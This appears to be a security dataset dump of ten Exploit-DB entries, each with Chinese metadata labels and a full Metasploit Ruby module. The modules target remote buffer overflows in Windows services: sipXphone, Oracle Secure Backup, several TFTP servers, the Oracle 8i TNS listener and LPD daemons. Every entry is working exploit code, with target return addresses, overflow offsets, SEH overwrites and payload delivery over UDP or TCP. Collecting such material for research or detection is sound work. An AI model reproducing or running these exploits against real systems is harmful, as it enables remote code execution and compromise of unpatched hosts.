QLWD/code_shield huggingface dataset:
标题: SIPfoundry sipXphone 2.6.0.27 - CSeq Buffer Overflow (Metasploit) EDB-ID: 16352 CVE: 2006-3524 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: sipxphone_cseq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Udp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in SIPfoundry's
    sipXphone 2.6.0.27. By sending an overly long CSeq value,
    a remote attacker could overflow a buffer and execute
    arbitrary code on the system with the privileges of
    the affected application.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2006-3524' ],
     [ 'OSVDB', '27122' ],
     [ 'BID', '18906' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x0a\x20\x09\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jul 10 2006',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(5060)
   ], self.class)
 end

 def exploit
  connect_udp

  user   = rand_text_english(2, payload_badchars)
  port   = rand(65535).to_s
  filler = rand_text_english(212, payload_badchars)
  seh    = generate_seh_payload(target.ret)
  filler[204, seh.length] = seh

  sploit  =   "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
  sploit  <<  "To: <sip:#{rhost}:#{rport}>" + "\r\n"
  sploit  <<  "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
  sploit  <<  "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
  sploit  <<  "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
  sploit  <<  "CSeq: " + filler + "\r\n"
  sploit  <<  "Max-Forwards: 20" +  "\r\n"
  sploit  <<  "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"

  print_status("Trying target #{target.name}...")

  udp_sock.put(sploit)

  handler
  disconnect_udp

 end

end URL: https://www.exploit-db.com/exploits/16352
标题: Oracle Secure Backup - NDMP_CONNECT_CLIENT_AUTH Buffer Overflow (Metasploit) EDB-ID: 16343 CVE: 2008-5444 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: osb_ndmp_auth.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::NDMP

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
   'Description'    => %q{
     The module exploits a stack buffer overflow in Oracle Secure Backup.
    When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
    an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-5444' ],
     [ 'OSVDB', '51340' ],
     [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
    ],
   'Platform'       => 'win',
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
    },
   'Targets'        =>
    [
     [ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)',  { 'Ret' => 0x608f5a28 } ], # oracore10.dll
    ],
   'DisclosureDate' => 'Jan 14 2009',
   'DefaultTarget' => 0))

  register_options([Opt::RPORT(10000)], self.class)
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  ndmp_recv()

  username =  rand_text_alphanumeric(3789 - payload.encoded.length)
  username << payload.encoded + Rex::Arch::X86.jmp_short(6)
  username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
  username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)

  password = rand_text_alphanumeric(rand(25) + 1)

  # Create the authentication request
  auth = [
    0,               # Sequence number
    Time.now.to_i,   # Current time
    0,               # Message type (request)
    0x901,           # Message name (connect_client_auth)
    0,               # Reply sequence number
    0,               # Error status
    1                # Authentication type
   ].pack('NNNNNNN') +
   [ username.length ].pack('N') + username +
   [ password.length ].pack('N') + password +
   [ 4 ].pack('N')

  print_status("Sending authentication request...")
  ndmp_send(auth)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16343
标题: FutureSoft TFTP Server 2000 - Transfer-Mode Overflow (Metasploit) EDB-ID: 16344 CVE: 2005-1812 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: futuresoft_transfermode.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Udp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the FutureSoft TFTP Server
    2000 product. By sending an overly long transfer-mode string, we were able
    to overwrite both the SEH and the saved EIP. A subsequent write-exception
    that will occur allows the transferring of execution to our shellcode
    via the overwritten SEH. This module has been tested against Windows
    2000 Professional and for some reason does not seem to work against
    Windows 2000 Server (could not trigger the overflow at all).
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     ['CVE', '2005-1812'],
     ['OSVDB', '16954'],
     ['BID', '13821'],
     ['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],

    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 350,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4} ], # ws2help.dll
     ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad} ], # ws2help.dll
     ['Windows NT SP5/SP6a English',    { 'Ret' => 0x776a1799} ], # ws2help.dll
     ['Windows 2003 Server English',    { 'Ret' => 0x7ffc0638} ], # PEB return
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'May 31 2005'))

  register_options(
   [
    Opt::RPORT(69)
   ], self.class)

 end

 def exploit
  connect_udp

  print_status("Trying target #{target.name}...")

  sploit  = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"
  sploit += rand_text_english(167, payload_badchars)
  seh  = generate_seh_payload(target.ret)
  sploit[157, seh.length] = seh
  sploit += "\x00"

  udp_sock.put(sploit)

  handler
  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16344
标题: D-Link TFTP 1.0 - 'Filename' Remote Buffer Overflow (Metasploit) EDB-ID: 16345 CVE: 2007-1435 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: dlink_long_filename.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in D-Link TFTP 1.0.
    By sending a request for an overly long file name, an attacker
    could overflow a buffer and execute arbitrary code. For best results,
    use bind payloads with nonx (No NX).
   },
   'Author'         =>
    [
     'LSO <lso[@]hushmail.com>', # Exploit module
     'patrick', # Refs, stability, targets etc
    ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-1435' ],
     [ 'OSVDB', '33977' ],
     [ 'BID', '22923' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'Compat'   =>
     {
      'ConnectionType' => '-reverse',
     },
    },
   'SaveRegisters'  => [ 'ecx', 'eax', 'esi' ],
   'Platform'       => 'win',

   'Targets'        =>
    [
     # Patrick tested OK 20090228
     ['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
     ['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Mar 12 2007',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(69)
   ], self)
 end

 def exploit
  connect_udp

  print_status("Trying target #{target.name}...")

  juju = "\x00\x01"
  juju << Rex::Text.rand_text_alpha_upper(581)
  juju << Rex::Arch::X86.jmp_short(42)
  juju << Rex::Text.rand_text_alpha_upper(38)
  juju << [target.ret].pack('V') + payload.encoded

  udp_sock.put(juju)

  handler
  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16345
标题: ProSysInfo TFTP server TFTPDWIN 0.4.2 - 'Filename' Remote Buffer Overflow (Metasploit) EDB-ID: 16346 CVE: 2006-4948 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: tftpdwin_long_filename.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',
   'Description'    => %q{
     This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
    an overly long file name to the tftpd.exe server, the stack can be overwritten.
   },
   'Author'   => [ 'patrick' ],
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2006-4948' ],
     [ 'OSVDB', '29032' ],
     [ 'BID', '20131' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/3132' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 284,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en
     [ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Sep 21 2006',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(69),
   ], self)
 end

 def exploit
  connect_udp

  print_status("Trying target #{target.name}...")
  sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')
  sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)
  udp_sock.put(sploit)

  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16346
标题: Oracle 8i - TNS Listener SERVICE_NAME Buffer Overflow (Metasploit) EDB-ID: 16341 CVE: 2002-0965 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: tns_service_name.rb 11128 2010-11-24 19:43:49Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::TNS

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Oracle. When
    sending a specially crafted packet containing a long SERVICE_NAME
    to the TNS service, an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11128 $',
   'References'     =>
    [
     [ 'CVE', '2002-0965'],
     [ 'OSVDB', '5041'],
     [ 'BID', '4845'],
     [ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/02-0013.shtml' ],
     [ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)',   { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],
     [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)',   { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] ,
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'May 27 2002'))

  register_options([Opt::RPORT(1521)], self.class)
 end

 def check
  connect

  version = "(CONNECT_DATA=(COMMAND=VERSION))"
  pkt = tns_packet(version)
  sock.put(pkt)

  sock.get_once
  res = sock.get_once(-1, 1)

  disconnect

  if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  buff =  rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
  buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
  buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)

  sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"

  pkt = tns_packet(sploit)

  print_status("Trying target #{target.name}...")
  sock.put(pkt)

  handler

  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16341
标题: Hummingbird Connectivity 10 SP5 - LPD Buffer Overflow (Metasploit) EDB-ID: 16337 CVE: 2005-1815 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: hummingbird_exceed.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Hummingbird Connectivity 10 SP5 LPD Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Hummingbird Connectivity
    10 LPD Daemon. This module has only been tested against Hummingbird
    Exceed v10 with SP5.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2005-1815'],
     ['OSVDB', '16957'],
     ['BID', '13788'],
    ],
   'Privileged'     => true,

   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0a",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 English SP0-SP4', { 'Offset' => 1620, 'Ret' => 0x75022ac4 }],
     ['Windows XP English SP0/SP1',   { 'Offset' => 1596, 'Ret' => 0x71aa2461 }],
    ],

   'DisclosureDate' => 'May 27 2005'))

  register_options( [ Opt::RPORT(515) ], self.class )
 end

 def exploit
  connect

  filler = rand_text_english(target['Offset'], payload_badchars)
  seh    = generate_seh_payload(target.ret)
  sploit = filler + seh

  print_status("Trying target #{target.name}...")
  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16337
标题: Oracle 8i - TNS Listener 'ARGUMENTS' Remote Buffer Overflow (Metasploit) EDB-ID: 16340 CVE: 2001-0499 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: tns_arguments.rb 11122 2010-11-24 06:10:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::TNS

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Oracle 8i. When
    sending a specially crafted packet containing a overly long
    ARGUMENTS string to the TNS service, an attacker may be able
    to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11122 $',
   'References'     =>
    [
     [ 'CVE', '2001-0499' ],
     [ 'OSVDB', '9427'],
     [ 'BID', '2941' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)',   { 'Offset' => 6383, 'Ret' => 0x60a1e154 } ],
     [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)',   { 'Offset' => 6379, 'Ret' => 0x60a1e154 }] ,
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Jun 28 2001'))

  register_options([Opt::RPORT(1521)], self.class)
 end

 def check
  connect

  version = "(CONNECT_DATA=(COMMAND=VERSION))"

  pkt = tns_packet(version)

  sock.put(pkt)

  sock.get_once

  res = sock.get_once(-1, 1)

  disconnect

   if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
    return Exploit::CheckCode::Vulnerable
   end
    return Exploit::CheckCode::Safe
 end

 def exploit
  connect

   buff =  rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
   buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
   buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(966)

   sploit = "(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=#{buff}))"

   pkt = tns_packet(sploit)

   print_status("Trying target #{target.name}...")
   sock.put(pkt)

   handler

  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16340
标题: NIPrint LPD - Request Overflow (Metasploit) EDB-ID: 16336 CVE: 2003-1141 类型: REMOTE 平台: WINDOWS 发布日期: 2010-12-25 漏洞利用脚本: ##
# $Id: niprint.rb 11407 2010-12-25 06:01:12Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NIPrint LPD Request Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the
    Network Instrument NIPrint LPD service. Inspired by
    Immunity's VisualSploit :-)
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11407 $',
   'References'     =>
    [
     ['CVE', '2003-1141'],
     ['OSVDB', '2774'],
     ['BID', '8968'],
     ['URL',   'http://www.immunitysec.com/documentation/vs_niprint.html'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0a",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
     ['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
     ['Windows 7 x64', { 'Ret' => 0x763B35DD }],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Nov 05 2003'))

  register_options(
   [
    Opt::RPORT(515)
   ], self.class )
 end

 def exploit
  connect

  req = rand_text_alphanumeric(8192)
  req[  0, 2] = "\xeb\x33"
  req[ 49, 4] = [target.ret].pack('V')
  req[ 53, payload.encoded.length ] = payload.encoded

  print_status("Trying target #{target.name}...")
  sock.put(req)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16336
标题: SapLPD 6.28 - Remote Buffer Overflow (Metasploit) EDB-ID: 16338 CVE: 2008-0621 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: saplpd.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SAP SAPLPD 6.28 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .
    By sending an overly long argument, an attacker may be able to execute arbitrary
    code.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-0621' ],
     [ 'OSVDB', '41127' ],
     [ 'BID', '27613' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x0a",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'SAPlpd 6.28.0.1 (SAP Release 6.40)',   { 'Ret' => 0x005e72d7 } ], #SAPlpd.exe 3/7/2006
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Feb 4 2008',
   'DefaultTarget'  => 0))

  register_options([Opt::RPORT(515)], self)
 end

 def exploit
  connect

  sploit =  "\x02"
  sploit << rand_text_alpha_upper(484 - payload.encoded.length)
  sploit << payload.encoded
  sploit << [target.ret].pack('V')
  sploit << [0xe9, -375].pack('CV')

  print_status("Trying target #{target.name}...")

  sock.puts(sploit)

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16338